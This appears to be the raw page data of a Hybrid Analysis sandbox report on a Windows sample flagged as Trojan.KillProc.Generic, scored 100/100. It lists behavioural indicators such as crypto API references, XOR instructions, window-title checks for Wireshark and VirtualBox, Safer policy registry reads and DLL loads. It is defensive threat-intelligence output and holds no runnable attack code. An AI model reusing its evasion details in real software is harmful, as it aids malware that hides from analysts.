26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 4c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4b3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.KillProc.Generic Sample 4a900b344ef7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4a900b344ef7…. Malware family: Trojan.KillProc.Generic. Threat score 100/100. 17/27 AV engines flagged this file. 15 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47","keywords":["Malicious","Trojan.KillProc.Generic","malware analysis","sandbox report","threat intelligence","4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47"],"about":{"@type":"SoftwareApplication","name":"000.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"4a900b344ef765a66f98cf39ac06273d565ca0f5d19f7ea4ca183786155d4a47","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.KillProc.Generic","antivirusDetections":{"malicious":17,"total":27},"behavioralIndicators":{"malicious":15,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T224a,Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.HMAC" (Indicator: "HMAC"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to "System.Security.Cryptography.KeyedHashAlgorithm" (Indicator: "KeyedHashAlgorithm"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp")28:Tb72,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006612-22962-64-01249C9C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006612-22962-64-01249C9C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006612-22962-29-01242E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006612-22962-29-01242E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007096-24515-23-01242E30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007096-24515-23-01242E30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007096-24515-56-01249C9C Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007096-24515-56-01249C9C Assembly shows XOR instruction xor edi edx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edi esi in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edi eax in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor ecx esi in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor ecx eax in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor ebx edx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor ebx ecx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor esi ecx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor esi eax in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edi ecx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor ebx eax in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edx edi in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edx ecx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor edx eax in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor eax edx in Stream UID: 25657-188-0040DC00 Assembly shows XOR instruction xor eax 00200000h in Stream UID: 25657-250-00405000 Assembly shows XOR instruction xor eax ecx in Stream UID: 25657-250-00405000 Assembly shows XOR instruction xor ebx dword ptr [esp+14h] in Stream UID: 25657-178-00403000 Assembly shows XOR instruction xor byte ptr [ecx+36h] 6Ch in Stream UID: 25657-437-004116BE Assembly shows XOR instruction xor byte ptr [ebx] ch in Stream UID: 25657-286-0040FC41 Assembly shows XOR instruction xor al byte ptr [ecx] in Stream UID: 25657-448-00412908 Assembly shows XOR instruction xor byte ptr [edx] ch in Stream UID: 25657-93-004050A0 Assembly shows XOR instruction xor ecx esi in Stream UID: 25657-91-0040D8D0 Assembly shows XOR instruction xor ecx dword ptr [00411550h+esi*4] in Stream UID: 25657-91-0040D8D0 Assembly shows XOR instruction xor esi ecx in Stream UID: 25657-91-0040D8D0 Assembly shows XOR instruction xor esi dword ptr [00411550h+ecx*4] in Stream UID: 25657-91-0040D8D029:T6ae,"taskkill.exe" called "GetWindowTextW" with parameter "AutoIt v3" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "4700" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\dumpcap.exe" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\tshark.exe" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "%WINDIR%\System32\VBoxService.exe" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "Microsoft OneNote 2010 - Windows taskbar" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "Windows Push Notifications Platform" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "Task Host Window" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "DWM Notification Window" - (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" (UID: 00000000-00002624) "taskkill.exe" called "GetWindowTextW" with parameter "VBoxSharedClipboardClass" - (UID: 00000000-00003940) "taskkill.exe" called "GetWindowTextW" with parameter "AutoIt v3" - (UID: 00000000-00003940) "taskkill.exe" called "GetWindowTextW" with parameter "4700" - (UID: 00000000-00003940) "taskkill.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\dumpcap.exe" - (UID: 00000000-00003940) "taskkill.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\tshark.exe" - (UID: 00000000-00003940) "taskkill.exe" called "GetWindowTextW" with parameter "%WINDIR%\System32\VBoxService.exe" - (UID: 00000000-00003940)2a:T1436,"DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000180000006ff1cb6d7315457370225301687d567610f153018044457323f1de1ffeffffff2cf05301b2404473d0ef53010000d476c8f05301cb404473e0df6e7608000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000058f05301000000000800000000000000000000000000000000000000000000000000d47607f1cb6d0000000098f053016992c576ffffffff3400000058f0530108000000000000000000d476c8f053012794c57660f053010b00000000000000b0f05301 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000008cb910d553010000000018d85301701a9f7328537ccbfeffffff30d753011b8b097774d6530198a966038043d476000000002ac443731000000013000000d0338f6c0000803f000000000000000000000000000000000000803f000000000000000000000000000000000000803f000000000000000000000000000000000000803fe4d653018d2c796c0000803f000000000000000000000000000000000000803f000000000000000000000000000000000000803f000000000000000000000000000000000000803fc0d75301200000001cd7530184c5927100366703c035670314000000000000001500000014d75301a6179471d03d987150d75301 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000080c3530124c35301226ea07600005b05000000002d6ea076bcaba0b12d000000ecb7fe73a8c353010000580320226e03f0266d030500000080000000e8c25301000058036cc3530170c8a176601955c6feffffff2d000000d0cc0d74270000003cc35301856aa2761c23a7767cc35301f85fa27608000000bb69a176b269a176e4aba0b12d000000ecb7fe7327000000d0cc0d7450c353012d000000d0cc0d742700000080c35301856aa2761c23a776c8c353017e8a0c74ee8c0c74738a0c74e81a556f2d000000ecb7fe7327000000d0cc0d7424295b05b8285b05e81a556f90c35301fc524a747cc45301e0840c7418284e1afeffffff738a0c74 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000180672030000000000000000000000000000000018067203d83d6603000000000100000000000000080a6503100a65030100000000000000c4e001083fc5097700000000c4e001085dc509773c067203e82b7203b85e126b9097b76b000000000100000000000000240672037e00b76be82b720310e10108f3010b77fce001080200000020b4686be82b7203f0e0010800000000010000001e020b77adce58bc180672037e00000020b4686bf199822d5a8b804b8754f7cd25c231befa09e783b8e101080b83586b20b4686b9097b76ba85e126b0100000010c7b66b (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000138621708386217080200000000fb010881010000e4f3b76b40621708c0005b0500005b0500000100feffffffd893f2b888605b05e05c496b000000040000000081010000fcfb010088605b05010100000101000081010000010100002d6ea076e093f2b89cfe0108506a0c774e1df2fcfeffffff98fb0108b716097798010000a001000064035b0584fb010810fc010800005b0500002b08a001000010fc01084462170810fc01084062170837060877980100000000000020000000bcfb0108ee13097798010000ee1309770000000000000000980100009212e7831c0000009a12e78332ba0a77dcfb010832ba0a77606217080000000000000000 (UID: 00000000-00000944)2b:T447,"DDoSAttackServer_IP_URL.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "taskkill.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WMIC.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2c:T6e9,Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowTextLengthA" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowTextLength" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00000944.00000000.70531.056C0000.00000004.mdmp, 00000000-00000944.00000001.72452.056C0000.00000004.mdmp")2d:T557,"DDoSAttackServer_IP_URL.exe" queries volume information of "C:\DDoSAttackServer_IP_URL.exe" at 00000000-00000944-00000C15-65617377 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00000944-00000C15-68461430 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll" at 00000000-00000944-00000C15-71887917 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll" at 00000000-00000944-00000C15-71905833 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb" at 00000000-00000944-00000C15-75105202 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb" at 00000000-00000944-00000C15-75135377 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\" at 00000000-00000944-00000C15-78245000 "DDoSAttackServer_IP_URL.exe" queries volume information of "C:\" at 00000000-00000944-00000C15-784145802e:T39a7,"DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xaml\d9f0293b9d57900da85de5a4190de717\System.Xaml.ni.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00000944) "DDoSAttackServer_IP_URL.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00000944) 